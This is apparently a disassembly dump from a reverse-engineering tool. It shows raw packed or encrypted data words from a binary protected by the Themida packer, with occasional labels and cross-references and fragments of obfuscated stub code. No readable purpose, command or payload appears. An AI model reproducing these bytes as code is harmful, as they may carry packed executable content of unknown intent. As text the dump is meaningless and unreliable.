		dd 0DDFB0635h, 7F17A62Dh, 83A78DD3h, 19FB5806h,	9F5805B4h
		dd 3F458D31h, 5DF9B744h, 589E4A72h, 5E1AB776h, 0A8235F81h
		dd 0F2C522BDh, 2341h, 0A5135800h, 7EE1FD3Ah, 0A1395669h
		dd 21E45359h, 0D2FA57E6h, 0D2471E26h, 701B3FEh,	2D64709Fh
		dd 0BB000000h, 0B1F9A513h, 6DF68CDAh, 8FDC00C4h, 72CA7649h
		dd 4C373D43h, 5A57E5EDh, 1C22EA32h, 5806ED36h, 0E4CB224Ah
		dd 39A18502h, 7D66D0FFh, 4147C412h, 51F1E85Bh, 0D1AF476Fh
		dd 44C1008Ch, 5B2B3923h, 76000009h, 2A075966h, 0E5C214A9h
		dd 9F7CCEEDh, 54318336h, 0AFE83A83h, 8D30A709h,	46735E3Bh
		dd 0FEC117F4h, 0B407CFACh, 0C8CE5662h, 580DFBE2h, 1794FBF6h
		dd 85318E4Ah, 86F4FE2Dh, 0B18C92DAh, 9F57E5EDh,	11A916C2h
		dd 3D7E5865h, 0EAF28F5h, 0CBDB0A62h, 4E2752B5h,	66DDA7Fh
		dd 7968678Bh, 39811991h, 725B9162h, 6375817Eh, 0C058B05Ch
		dd 37A58191h, 5F723F87h, 2756AE5Ah, 8B915921h, 7F5145A5h
		dd 0F5DBE1B9h, 97F5145h, 0D61A49E1h, 85446AEBh,	1825D1F9h
		dd 31884DBBh, 0FD6B4799h, 8030951h, 368B588Eh, 0DCF9C60Eh
		dd 6612AB28h, 72CA760Eh, 0B193D943h, 0BC8B798Dh, 82E3F89Ah
		dd 0DCC56647h, 0C4F3C60Fh, 1585Eh, 0A5137500h, 0F1E4B1F9h
		dd 77C41CC8h, 282E5D60h, 0E5EE4722h, 81DCB357h,	0E2EF6299h
		dd 0A0C84C7Bh, 0CCEFE7F4h, 0E913AD84h, 8097E0CEh, 72644151h
		dd 0F4579D49h, 7B7F4E8Ah, 2C31A35Dh, 66D27E10h,	3B0B22CEh
		dd 69E1DA63h, 689E3481h, 0CB85069h, 0E514369Ah,	51AEF9DFh
		dd 4DE50D7Fh, 0DD173397h, 9370C2F9h, 63307843h,	7C3F976Fh
		dd 34E078D0h, 0FD43ADDCh, 0A699E89Ah, 0E11B37D9h, 9774C6F5h
		dd 0E0C6CC3Fh, 0F4A69CE9h, 15EC34CCh, 0D62015h,	60B70FBBh
		dd 4C8AC1A7h, 3EA8D76Fh, 0D21ACA32h, 9D07C6CCh,	0A0F21AA6h
		dd 62AA56C4h, 0B40BCD9Ah, 2AC64185h, 17F4AC90h,	2A8F46BEh
		dd 0F68EE692h, 5D75424Ah, 0B2242F5Eh, 12DFB709h, 0F74FFBC0h
		dd 0A219BDC8h, 29A2B0F6h, 0D127ACB1h, 2A1D0309h, 931ACB1h
		dd 32CA88DAh, 0AFC517A4h, 7EE46317h, 9EE68CF9h,	61EAD0D6h
		dd 0D6FE2105h
		dd 0F7BF97A7h, 5620BF1h, 8F421F21h, 8E267E2Ah, 3982545Fh
		dd 9B1478Dh, 339EA54Dh,	22BA01D1h, 536A6976h, 2D6D91A7h
		dd 6800BB17h, 0FD0C4EB2h, 9492F35h, 0FDD6A74Dh,	0A3D2FAC0h
		dd 2B7D3E98h, 0EB33884Eh, 5A06B31Eh, 5D69D302h,	0F1F73FEFh
		dd 0AD4037D6h, 0ECCA1C44h, 6Ch,	0F9A51343h, 0EC3CABB1h
		dd 2A5257E5h, 2E141AE2h, 425805EDh, 2059415Bh, 45DDC3C5h
		dd 349FAC16h, 63744189h, 0E56AE5Ah, 6062208h, 0DF0E3658h
		dd 9220F7CFh, 66557DC0h, 0BF0B62BAh, 0D9EE1D84h, 97FF8635h
		dd 454B3137h, 68CE5806h, 36723923h, 28C0E8AEh, 0FCDCDAE0h
		dd 0C18E5805h, 0A1F9A514h, 6BC6EE72h, 0BCFDD8A5h, 0A289B810h
		dd 0A5F7C412h, 0E7D800CDh, 0AAB4E33Bh, 464C943Ch, 57E5E963h
		dd 0AAF22EFh, 53D7065Eh, 0C216E32Bh, 0ACEABFDh,	8FFD09B5h
		dd 1A9197DFh, 0CE5DF9EAh, 0B7E6D501h, 195F0B33h, 5E191937h
		dd 579F4FBDh, 0D1C5651h, 0B05C8464h, 2E1C886Ah,	0D1719364h
		dd 0B1BDABBAh, 0ADCB3ECh, 0CF7EBD5h, 23006695h,	17000000h
		dd 0B1F9A513h, 0E5EC3CABh, 7E2A5257h, 0C2A8AE76h, 0D65805ECh
		dd 48E0DFF9h, 0B5E4D7FBh, 33A9h, 0A5130000h, 1CE9B1F9h
		dd 977D03BCh, 0AB51F1E7h, 484E5483h, 57E50D5Dh,	455E12E9h
		dd 47D9A68Bh, 0B62D6C2h, 72A1DB03h, 2A1016EEh, 3E58060Eh
		dd 0E9D27E16h, 19F7C412h, 44C1014Eh, 77D8B75h, 0CA000006h
		dd 7E5BAD12h, 39166855h, 0F3D02299h, 0A885D7E2h, 33C8E2Fh
		dd 0E1DCFBB5h, 9A1FB28Fh, 526D6B48h, 8B32300h, 1C22AAB6h
		dd 580DFF36h, 0D1E84F4Ah, 0B25ECC79h, 219646Ah,	986557E5h
		dd 0CD518039h, 8AB004A5h, 98984ADCh, 383E862Ah,	20400E11h
		dd 7E7E5825h, 867B7866h, 0E28E268Dh, 22BA01D5h,	9B476FF3h
		dd 357D218Fh, 54803A2Fh, 0FC446C26h, 9D745D34h,	0D6544A4Dh
		dd 813A9CA7h, 3784522Fh, 3DD51859h, 0C7D5BF70h,	57Ah, 0E83A8557h
		dd 0A3F5C80Bh, 5DAF0CC6h, 12645580h, 0C91BA235h, 4F882890h
		dd 923F1C6Eh, 0E0F8D527h, 26B08DDFh, 0AF374395h, 0DFFC3A9h
		dd 75DCD758h, 19F7C412h, 44C10162h, 3B919F89h, 96000005h
		dd 4A277946h, 5E23489h,	0BF9CEECDh, 7451A316h, 0CF085A63h
		dd 0AD10C7E9h, 66537E5Bh, 1EA13714h, 0D4E7EFCCh, 0E8EE7682h
		dd 580E0002h, 12B41B16h, 3F4BF7C4h, 0DFE52DD1h,	57ED15E4h
		dd 1F9E3512h, 0EB593587h, 6B33FB43h, 0DF67F65h,	0D6AC9358h
		dd 0CCF037D8h, 25699830h, 5E013E66h, 28933F1Ch,	0FBD7247Ch
		dd 367C28C0h, 5E221E54h, 0BBC1895Fh, 5E221DD5h,	4092C1E9h
		dd 0B7DC8902h, 0AD22F2BDh, 1A000000h, 4338A4Dh,	0CD6CD11Dh
		dd 13F9FF5Fh, 0A551F1E8h, 0F1E7B99Fh, 0DFA5CD51h, 0D1D71FB7h
		dd 57E50186h, 378B2C54h, 0A50A342Bh, 7A1887F5h,	0AA11C5EEh
		dd 16A79653h, 7D30367Eh, 2B2D003Dh, 0EDF3BB03h,	2D213D07h
		dd 5AC4F31Bh, 0E830E04Eh, 15BE15E2h, 77BFE733h,	659429AAh
		dd 0C244925Fh, 0BC0EA613h, 0E6C4F7DFh, 637A2B9Fh, 47687660h
		dd 8A000004h, 3E1B6D52h, 0F9D62895h, 0B390E2D9h, 68459722h
		dd 0C3FC4E6Fh, 0A11CBBF5h, 5A5F724Fh, 12AD2B08h, 0C8F3E3C0h
		dd 0DCE26A76h, 580E00F6h, 17A80F0Ah, 8834894Ah,	90F50130h
		dd 4C000000h, 63494F17h, 7751F1E8h, 0A816204Fh,	0BFAAB0F8h
		dd 0CD57ED15h, 46905DA5h, 90462375h, 5737F2Bh, 1C0B1159h
		dd 325E0148h, 0F4FAC20Ah, 5E22280Eh, 2BADFA22h,	6190E894h
		dd 0D17DEBF7h, 0A21BBC89h, 40676D73h, 0D6641545h, 0AE24DAF9h
		dd 52697F70h, 29079F37h, 327C7066h, 0ABB5C3ADh,	26000003h
		dd 0DAB709B6h, 9572C4F9h, 4F2C7E3Dh, 4E13386h, 5F98EAD3h
		dd 3D805759h, 0F6C30EEBh, 0AE11C7A4h, 64577F5Ch, 787E0612h
		dd 580E0192h, 0D944ABA6h, 51F1E7F3h, 0A11AB885h, 0E84C2E72h
		dd 0FFD651F1h, 52196EC8h, 64E9Ch, 51F24B1Ah, 0CDD7062Eh
		dd 9A67AF5Fh, 4A507F3Ch, 0ED794944h, 399A7757h,	0E880D884h
		dd 14A72F3Ch, 0A4906336h, 0CCDAC43Eh, 336h, 2C7E419Bh
		dd 0E739844Fh, 0A1F3C80Ah, 56A811C4h, 0D5F5E79h, 0BCCE4D4h
		dd 4E8360B2h, 9C3C196Bh, 0E2F4D123h, 0F37B87D9h, 0E0207EDh
		dd 0B9201B58h, 4BF7C412h, 3BAD6C43h, 0A89968Eh,	663D1DBh
		dd 0A52EACFh, 8E747A42h, 0A251F23Eh, 3F0EF47Ah,	0FA2251F2h
		dd 0E8BFC5CBh, 0DE57E644h, 3EEAD101h, 24FC4EE6h, 0D3C7F57h
		dd 8B8F73C9h, 0C6F7E081h, 7D409774h, 0D7FCC9D1h, 40ADB7E6h
		dd 12874092h, 3E4BF7C4h, 0EDB2398h, 0B4C4F3C8h,	7EC66AD8h
		dd 0E538E578h, 7F2B5357h, 6185739h, 0C4F5DC58h,	0F1CC0B18h
		dd 9992E45h, 779EDB4Ah,	0BC3D5DC1h, 1CB7D3F5h, 0F8D98049h
		dd 3CB5h, 42D6AD00h, 361D1FE9h,	0A99C4CA3h, 6037407Dh
		dd 0A5134A31h, 0E8ABB1F9h, 0B657E502h, 0BA9CE28Eh, 0C5580602h
		dd 51B322EFh, 368E3A81h, 6B9AF29Eh, 3627919h, 0FBF8D9D7h
		dd 0C7h, 494F1712h, 51F1E863h, 15204F77h, 414EFAC1h, 6E7B2796h
		dd 9AA75368h, 0AE0BCA3Ch, 0C012AA02h, 0F1ECE9AAh, 11AA2C51h
		dd 0E1DAFCC9h, 9EAEDD35h, 0FAA615C1h, 88D080EEh, 0ECD4BAC0h
		dd 0C0E851F1h, 0ECC38B91h, 0F3E48903h, 206493F6h, 57E5C37Dh
		dd 0B591E30Bh, 494F9747h, 5DFB7BC6h, 219C3714h,	0B46A4189h
		dd 0AC6695F1h, 78454B7Ah, 2F0C5E5Fh, 467760A8h,	1B12F8FEh
		dd 0FE265E1Dh, 0CE1B8866h, 36203895h, 1B528h, 0FFC01C00h
		dd 0BA03D0ADh, 74478B68h, 29904522h, 0E0DDFAD7h, 4D63558Eh
		dd 4E1338Ah, 0BD9AECCDh, 7552A41Bh, 0FC085A61h,	4886E74h
		dd 0A19C580Eh, 8B4A173Ah, 0E3F4FF2Eh, 2BAB88DAh, 17853E90h
		dd 1308D4Ah, 9DE589F7h,	21070DD5h, 3551F1E8h, 0D79ADE0Dh
		dd 0A557E502h, 0A98BD17Dh, 2E580602h, 5A6713A8h, 7F95417Eh
		dd 0D0053F5Bh, 688A51E9h, 0D6B4B12Ah, 0B74AF8D9h, 61000000h
		dd 4BF7C412h, 8F757B43h, 0A351F1E7h, 96414C7Bh,	74357B27h
		dd 0BC51F1EDh, 2DD9E4EFh, 3B9BA6D5h, 6A703880h,	51F1ED84h
		dd 31417098h, 0F1AE8259h, 802C9345h, 0AA41D128h, 31A5B0DFh
		dd 64D2DE8Ah, 0CB6E74BCh, 0D757E5AFh, 8F23090Fh, 0F375806h
		dd 0E2345CE0h, 0A0E89806h, 0FB62769Ah, 96DE065Dh, 5DAF0EC9h
		dd 88665780h, 3895A625h, 0C732402Ah, 0A000000h,	0BE9BEDD2h
		dd 7956A815h, 33106259h, 0E8C517A2h, 437CCEEFh,	219C3B75h
		dd 0DADFF2CFh, 922DAB88h, 48736340h, 5C62EAF6h,	580E0476h
		dd 12288F8Ah, 0CEA6F8C5h, 0B9E8D701h, 4B9328AEh, 3867547Eh
		dd 0C4126F28h, 983E4BF7h, 87F5D123h, 0C1C78FD7h, 51F1E7DBh
		dd 8A506968h, 272D3362h, 57ED1650h, 4FBE5F46h, 9C5A0487h
		dd 88505804h, 0E7C9C82h, 46C51F58h, 0F48EF1Ch, 0D3D92149h
		dd 580E7EEDh, 9FAAD901h, 55328437h, 488E3A81h, 72184907h
		dd 0DBFCC9E1h, 2161B3E2h, 9A3BCB0Bh, 5835871Fh,	84913D7Eh
		dd 9924B351h, 51FD95EDh, 4385AFCh, 0BA97E9D2h, 8A579F1Ch
		dd 6CC4704Dh, 3C5D33Dh,	1C000000h, 0CA127DE4h, 9A3C49F5h
		dd 70687521h, 3B96A34Fh, 12C5D27Eh, 0E5F2FFABh,	0B61F2CD8h
		dd 884A5703h, 597A8733h
		db 64h,	0B8h, 33h
byte_5CA9C3	db 57h			; DATA XREF: Themida_:00549620o
					; Themida_:0054B194o ...
		dd 0C7815F54h, 4, 8704EF83h, 575C243Ch,	0C781E789h, 4
		dd 8704EF83h, 895C243Ch, 0EC812414h, 4,	68240C89h, 61C0EA7h
		dd 8124148Bh, 4C4h, 4EC8300h, 81242489h, 42404h, 68590000h
		dd 36D6h, 89243C89h, 87989D7h, 2434FF5Fh, 4C48159h, 0FF000000h
		dd 835A2434h, 0D0E904C4h, 0E8FFF85Fh, 1EA98DA3h, 6A63366Eh
		dd 0E3BAAB6Ah, 1DE4B87Ch, 0C503061Ch, 41BCE0FFh, 0E30E593Ah
		dd 42E154F6h, 9BA73F7Ch, 438D4474h, 45854AAFh, 9830546Ah
		dd 0AA631025h, 3EBC1808h, 0BA575AD6h, 0C11F295Fh, 51676115h
		dd 0D03693Bh, 22406168h, 0EE173286h, 455B25CEh,	0BCD6285Bh
		dd 6A9129CFh, 94D85A63h, 8F4E7C10h, 5F3C7ED3h, 4C2125CEh
		dd 0AE52643Bh, 957A16A6h, 2A4D30FEh, 2021A5Bh, 926D3CB3h
		dd 6661362h, 0BD16750Ah, 8D8D29B7h, 61C1F8Fh, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 3BC35040h, 4965D0C9h
		dd 1DA1858Bh, 81660614h, 890BAFC3h, 1432298Dh, 21858B06h
		dd 0E906142Fh, 8, 0E0D912BEh, 0B4C7A74Bh, 64D85C7h, 6E080614h
		dd 0DF810000h, 65394F18h, 267185C7h, 614h, 870F0000h, 5
		dd 0DBBF0F60h, 91B5FF61h, 8B06142Eh, 141C2595h,	6195FF06h
		dd 0E8061423h, 0Eh, 0EC3BF1C4h,	9C7B1918h, 0F6B5DEBBh
		dd 13E96376h, 0B7000000h, 21FD57BAh, 5D3A03C1h,	0F8AF6168h
		dd 402ABE9Bh, 6A5F78F4h, 6995FF00h, 8B061411h, 130BEBC0h
		dd 0EF2F45D5h, 0CDEE79FFh, 8D8D755Fh, 61C209Fh,	1D218D89h
		dd 8D890614h, 6143229h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 1Dh, 0FFC35242h, 5000BE51h, 67039C63h, 4D85C7A7h
		dd 84061406h, 6A000058h, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 15042444h, 41000000h, 0B804C351h,	16558D09h
		dd 85C70614h, 6142671h,	0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 0BBC35545h
		dd 4FA64F72h, 6F7B428Ah, 0C4DB5FFh, 6A0614h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1B0424h, 56460000h, 27665CC3h
		dd 6F2A470Bh, 880F6053h, 5, 0F9C28166h,	0AAC88175h, 613CC76Dh
		dd 236195FFh, 6A0614h, 3E852h, 5A200000h, 54895AC3h, 44810424h
		dd 1D0424h, 52420000h, 50DD1BC3h, 8FD05366h, 6AAEB82Dh
		dd 6995FF00h
		db 11h,	14h
word_5CAC7E	dw 8B06h		; DATA XREF: Themida_:0054A234o
					; Themida_:0054A900o
		dd 0CC4AEBC0h, 0FDE3F1FCh, 749BFE55h, 5793B41Ah, 4D796C5Ch
		dd 867437FFh, 0E3F2FE1Ah, 185F7AB4h, 0FC7FA312h, 5C22EBAh
		dd 3A4880Eh, 87DE3D2Fh,	4E7A5DACh, 4293718Eh, 0C83402EAh
		dd 1AE5B0B5h, 933DA21Bh, 0D394EE0Eh, 0D6CC0D2Fh, 11E9CCh
		dd 0CA3D0000h, 272h, 2 dup(0)
		dd 0E9000000h, 58Eh, 0ACFEC11Bh, 67B904CFh, 2173488Ah
		dd 0D6289144h, 8DDFDEF9h, 8B4C6454h, 0CE03E032h, 1CBC99EBh
		dd 627451A3h, 73FB0759h, 0E09876Dh, 39A09B58h, 4BF7C412h
		dd 0DC24993Eh, 6EA89305h, 1E4D5055h, 66A5310Eh,	0F2977A60h
		dd 26B18E51h, 0FB93EB97h, 0D8AFB763h, 0A57F6DA6h, 0C1CCFB73h
		dd 0EDFAA615h, 0B52BD7E6h, 0F606D09Dh, 3F9C7447h, 0F827BFFDh
		dd 8650E4A6h, 0D206E335h, 0FBD8A5EDh, 0EC641D03h, 0CC6459C4h
		dd 28B08D9Dh, 0F3DEEB97h, 0FF36C411h, 5BFF74CEh, 546B17AFh
		dd 0FAEAD939h, 66FE968Fh, 6A50561Eh, 7E51F245h,	68BD2756h
		dd 687084C6h, 0AE280557h, 0F7FDC50Dh, 51F24511h, 64CEFD25h
		dd 0F2453B1Eh, 0E7A3B751h, 0ED9479ECh, 6185FEh,	179C0000h
		dd 913CF040h, 5483B565h, 822E8D49h, 0F254583Ch,	80C2D651h
		dd 0ED855A0Bh, 1A4FEh, 12BB0000h, 4350FCC1h, 74812D90h
		dd 9FAC5861h, 0D1D98538h, 0F1E7E5CBh, 84D1F951h, 0A9BF6B54h
		dd 2EE4C585h, 72FF3F16h, 1E754690h, 6190A270h, 1AB9730Fh
		dd 627451A3h, 8E441159h, 0C6F7E02Dh, 12CE8797h,	444CF8C5h
		dd 6B3D806Dh, 4FA75366h, 59D259F8h, 9B41F2Ah, 0CB87EB5Dh
		dd 0CF17A631h, 3DE9D602h, 0C9A6B6E5h, 8F66AE0Dh, 37AF4C76h
		dd 0D43E6DADh, 4B00BC7h, 33DFDAF7h, 555BB026h, 51F21C6Fh
		dd 17C35B83h, 5E43FFE3h, 0DFF4C197h, 3D5DAFDEh,	0EDBBCFA6h
		dd 874FFEh, 12660000h, 3F4CF8C5h, 9E02893h, 3BD65C3Bh
		dd 1E88B708h, 0EE0644A8h, 0BF8CD4E9h, 6676A518h, 0C36F4E89h
		dd 0EE9A1FB6h, 1AC6F5E1h, 4AF6C50Dh, 6F721034h,	35C486A8h
		dd 0A04C6D68h, 0C8AD1948h, 56FEED18h, 62h, 7E3774Eh, 0F811A802h
		dd 0C512E2C9h, 993F4CF8h, 666D7A26h, 399EAB57h,	5EA03784h
		dd 0A388E7BBh, 0BF6B0310h, 439926B2h, 0A7E631Fh, 0FED56426h
		dd 0DB51CEB0h, 7A43901Bh, 0AFDE76CEh, 388A33A4h, 0FCC1127Fh
		dd 0E8270A50h, 8FA351F1h, 0F18DD8F3h, 0B71FEEDh, 69000000h
		dd 0F3B59BA1h, 0A1C951F1h, 0C0128B72h, 0E5EBB3FBh, 51F1E7FFh
		dd 0C7734C8Ch, 5281A96Fh, 0C0FBDBE8h, 2CCE0714h, 1B4632E5h
		dd 731FB74Fh, 9E4A6F66h, 0E5C4866Ah, 0A82DFA50h, 0F290E211h
		dd 5764723Fh, 6B51D28h,	0D6E5F1BEh, 93A3D22Ah, 5DA549B7h
		dd 0DB7A0686h, 114070A0h, 0D2EE050Bh, 8C6457E5h, 6D2A086h
		dd 0F48CB458h, 209B3B48h, 0D6E5F1CEh, 0D300E42Ah, 7E625806h
		dd 0DAE28DCh, 11F7FDC5h, 255806D3h, 0E6BECEFDh,	8D4BBF19h
		dd 962E8632h, 8C7A5C67h, 6EC6724Bh, 0D33A2026h,	264E5806h
		dd 5879468Eh, 0FEBF1461h, 7E5865CFh, 4E84913Dh,	23B4C16Dh
		dd 0F1E1EE9Ah, 10C61ECAh, 590BEEACh, 0DCA455F5h, 6D2F0D6h
		dd 8FDC0458h, 75CD7944h, 209B3B46h, 0AE29F6CEh,	0F174E00Fh
		dd 0DF8D906h, 12Dh, 0F9A51324h,	0B882DAB1h, 0B4A5ED5Fh
		dd 1D4C1F9Bh, 0F625BDD9h, 0B5B3EAF0h, 416957E5h, 15C08D95h
		dd 71A0F8A4h, 34B7066h,	0EF1E9B36h, 973A07DFh, 0EF1E7622h
		dd 1DC9F2E4h, 61474D15h, 755806B6h, 0E9D2004Dh,	9427AFBAh
		dd 701276E8h, 4FA11ABCh, 0D9235411h, 3CAAF8h, 13C10000h
		dd 0E3B0F8A6h, 9399C8F3h, 0E6D3FECBh, 6FB3E23Ah, 0D1F1E7A9h
		dd 360D557Dh, 116D01F4h, 0F6608FF3h, 0F193CAB0h, 682A4ED1h
		dd 72BA68D5h, 0F194A66Ch, 527A51h, 9822h, 0A5137900h, 0F0ABB1F9h
		dd 1C57E510h, 8C38834Fh, 0A9810534h, 5F0BDA3h, 0F3F9D158h
		dd 5805F10Dh, 0C961F921h, 474D151Dh, 5805F161h,	7F409875h
		dd 7E3B9AE7h, 2992444Fh, 0DFDCFAD7h, 0E3C9CF97h, 705805F0h
		dd 54AC5861h, 0CD37668Eh, 5F1A687h, 0EAD2958h, 1A954B62h
		dd 9E59974h, 0F7A31CBCh, 5F4200A2h, 0B14B07EBh,	68449625h
		dd 80E56FAh, 5E018633h,	0E8B5FD25h, 39A3D2EBh, 6511AA2Ch
		dd 1D2C6E10h, 0AA2FC946h, 38674E4Bh, 0C810C02Eh, 1D31EDC2h
		dd 65B7DF64h, 0F9A513ACh, 8D6ABB1h, 0A0C857EDh,	17EFE7F4h
		dd 0F74FFBBEh, 0A6300D5Fh, 0B6C8FD56h, 6E0657AAh, 91785926h
		dd 0E9EA58Bh, 0F991B958h, 5CC6F54Dh, 3BAC4316h,	0BDDD415Ah
		dd 2578B58Ch, 0D46CD4F9h, 7F3C9AA5h, 8086502Dh,	0B6BE6A53h
		dd 7D5ACAB0h, 1EB6DE5Ch, 8CDDA86h, 9BA169B1h, 5C7D5AB5h
		dd 0D0E9ECC9h, 929F0938h, 0BECB7744h, 0F4FCA815h, 7D5B08EEh
		dd 9EF41C5Ch, 2329D87Ah, 5C7D5B3Dh, 0FC912951h,	3C09385Ah
		dd 0E9F4239Ch, 0A47CCEEDh, 5AF0D6DCh, 0DC045C7Dh, 8734A2ADh
		dd 3CDDBh, 0E4240000h, 0F5CA127Dh, 219A3C49h, 4F706875h
		dd 7E3B96A3h, 0AB12C5D2h, 0D8E5F2FFh, 3B61F2Ch,	33884A57h
		dd 64597A87h, 0B76833B8h, 89000062h, 0E589242Ch, 4C581h
		dd 0ED830000h, 242C8704h, 0E289525Ch, 4C281h, 0EA810000h
		dd 4, 5C241487h, 68241489h, 0AAh, 53241C89h, 9B624468h
		dd 0EB815B13h, 0D7F413Bh, 545B5A53h, 81241C8Bh,	4C4h, 458D6800h
		dd 14890000h, 8438F24h,	50241C8Bh, 405E089h, 5000000h
		dd 4, 5C240487h, 5624148Bh, 0C681E689h,	4, 8704C683h, 0E95C2434h
		dd 0FFF8578Bh, 0FB8EE8Ch, 3061C26h, 0F8E0FFC5h,	0B242A1B1h
		dd 85269193h, 0EF32F88Ah, 75583047h, 0E42270D3h, 31738D9Ch
		dd 8111E954h, 8B13C8ADh, 0DE3E3E97h, 524E324h, 8D5AC716h
		dd 1C27B68Dh, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1604h, 0C3574700h, 8A84916Ah, 5BB866E7h, 298D894Ah
		dd 6A061432h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1B042444h, 42000000h, 4587C352h, 13ADEE19h, 858BEC28h
		dd 6142C41h, 64D85C7h, 62100614h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 180424h, 55450000h, 9035E2C3h
		dd 85C71956h, 6142671h,	0
		dd 7E8h, 0A7B08700h, 633D792h, 2179B589h, 0FF5B0614h, 1414ADB5h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1604h
		dd 0C3564600h, 0E90E2E4Eh, 0Eh,	74315BBh, 19BCCD4Dh, 0AD99E0D7h
		dd 95FF65C4h, 6142361h,	2B5B589h, 6A0614h, 116995FFh, 0C08B0614h
		dd 0C31A7CEBh, 10909F53h, 0A6C7708h, 49CBC3D2h,	0AE67C4F7h
		dd 0E8D98AD4h, 5B9DD7ECh, 0F71A4944h, 3CF1BF5Fh, 0D162FF12h
		dd 0B1CBCBD5h, 0CB86D70Fh, 2C9C3E22h, 93DA7FD1h, 0BFFF05FDh
		dd 0E17FFE51h, 0A4A2C0E6h, 299FA25Dh, 6B48032Fh, 0AE3DBFBBh
		dd 6DA2ABB2h, 0F032F306h, 55D9A1C3h, 77C908F2h,	0DA37E577h
		dd 516A38DBh, 0FB4F9DE3h, 0B3802EE8h, 47A3DAAFh, 99066372h
		dd 98EB699Bh, 12E8AA00h, 18000000h, 0A36B90E0h,	8653FC66h
		dd 9E0B003Fh, 440664EEh, 0F18B668Ah, 0ED3BBF5Ah, 0C2817F3Ch
		dd 655Fh, 2F1B58Bh, 14B90614h, 0E9000019h, 0Fh,	7821A297h
		dd 0D38CD15Bh, 963DB767h, 0FF8D640Bh, 0B58B5B32h, 614319Dh
		dd 63F2F381h, 0CE936BFh, 67000000h, 0FD80986Bh,	0FD7C39E4h
		dd 8122BA08h, 0A3925DC3h, 68B0F3Bh, 0F000000h, 8Bh, 10EB8100h
		dd 6637C820h, 2B21EE81h, 0EE953h, 0BC760000h, 0FB0D2C78h
		dd 41CB3B16h, 6E5D3874h, 0BD8B028Fh, 6142115h, 620DEA81h
		dd 11E82B4Ah, 33000000h, 6EB311F5h, 4A517371h, 3F815DBDh
		dd 327D2095h, 12E9BD8Bh, 81580614h, 4A6209C2h, 5E92Bh
		dd 7FAE0000h, 81C568D1h, 1E9h, 1C850F00h, 66000000h, 33E9FA8Bh
		dd 0F5000000h, 969871C5h, 990151B8h, 259D519Ch,	26D266Bh
		dd 89229A4Dh, 1408C59Dh, 0FF41E906h, 0CE56FFFFh, 9F797EA1h
		dd 0B2A57066h, 6B632D90h, 9C219E94h, 21E9A199h,	0EA000000h
		dd 4DE284h, 7 dup(0)
		dd 57AE9h, 6F508C00h, 2A93401Dh, 0E4D7FBD8h, 9920B592h
		dd 506D6A47h, 0BDF3C5FEh, 7451A31Ah, 2D0A5C5Dh,	0E5C214ABh
		dd 6C78CAF1h, 10F8DEE4h, 110C580Eh, 894A17AAh, 0E7987E84h
		dd 84AC51F1h, 84379FECh, 2F8C4A55h, 5C617683h, 0CF5B320Ah
		dd 0D8C8AE0Eh, 47ABEA99h, 0EC841F2Ch, 0DA760795h, 0FA296089h
		dd 28D4E7EFh, 5400BB1Bh, 85318C47h, 55EFAB0Fh, 0BE83A81h
		dd 0C3A0F2CDh, 0F6FEAA15h, 7573AC1Fh, 91EAECF7h, 9CDA3186h
		dd 8CF1C22h, 567B86B5h,	0C062B763h, 516E6A82h, 219A3C09h
		dd 0D105E2F2h, 15F83EEAh, 9151F2AAh, 15FB01C9h,	2951F2AAh
		dd 40E0AA01h, 12BEB641h, 0DAF191E3h, 0FEED908Bh, 7873h
		dd 0C4128A00h, 21054BF7h, 0AA51F1E8h, 0D8E5912Eh, 16C2FBh
		dd 0E33BBEDCh, 82874E1Bh, 0F1E7967Ch, 0EA82AA51h, 19A0313Eh
		dd 1BA43481h, 0E3F89AECh, 0FEEDF182h, 17Ch, 0C1129300h
		dd 904350FCh, 0AC79812Dh, 91E99526h, 3B7E5762h,	3401198Fh
		dd 156D19A2h, 0E7E1C7CDh, 0CDF551F1h, 0F60E4C9Eh, 12AD2BDDh
		dd 8350287Ah, 0B451AA54h, 0A7A37BB2h, 0DC0B630Fh, 64B605D1h
		dd 0F8C512ABh, 0B5DCD9B0h, 0B81D289Dh, 0C1121F89h, 8E4350FCh
		dd 65727F2Bh, 0D63AAC58h, 645580B4h, 16C860B8h,	7B5C90B2h
		dd 0C313F042h, 933F4CF8h, 0D3F57C28h, 1B591CB7h, 0AFC5FEEDh
		dd 0DC000000h, 2F8C4A17h, 0FADE2B83h, 4C8B96C5h, 1AB8C571h
		dd 0C4EFE7E2h, 4C858AEAh, 0D169C16Dh, 2329F139h, 51F23E3Dh
		dd 90FA2951h, 0B4BA5583h, 51F23DCEh, 7622BAE2h,	0A5516869h
		dd 0ECCD8D71h, 7CB0D236h, 3810625Bh, 204F6A6Bh,	4FFBC215h
		dd 5E5B7A47h, 49F5C411h, 1EB7C2F1h, 4668EF9Bh, 99E68F04h
		dd 6838FEEDh, 30000000h, 1D4C6F63h, 48C51236h, 0B864577Bh
		dd 0E7F4DA60h, 0E00851F1h, 0BD949C48h, 0C2C88428h, 51F242DCh
		dd 0E171C8F0h, 7177BF30h, 51F2B68Bh, 3D48779Fh,	54676F9Bh
		dd 0B720060Ch, 0C3451F2h, 0B094C874h, 407D5A92h, 0C11235EEh
		dd 932B8E47h, 0E7BEA1E7h, 723A51F1h, 0E38F2EA5h, 480A5C8Bh
		dd 0EDF21253h, 1ECFEh, 12030000h, 424FFBC0h, 0B4406894h
		dd 0CC7B3C21h, 91338834h, 727840F1h, 51F29C8Ch,	9D32181Eh
		dd 1E4651F2h, 65587B58h, 655680CDh, 5FA72B36h, 5AAC4477h
		dd 1860107Eh, 7C828D4Bh, 51F29C96h, 3EEA82AAh, 0ABB1B7E6h
		dd 57E5B794h, 2E36E20Ah, 99457461h, 0D9E2F441h,	9BA6D52Dh
		dd 512E803Bh, 21EE3685h, 35B07B6h, 40246AD4h, 0A25806B8h
		dd 6E689CBEh, 5623FB4Dh, 79903C81h, 0B9B9A138h,	305FF76Ch
		dd 8D5AB125h, 73CB7746h, 6B407EDh, 3D431B58h, 5806B457h
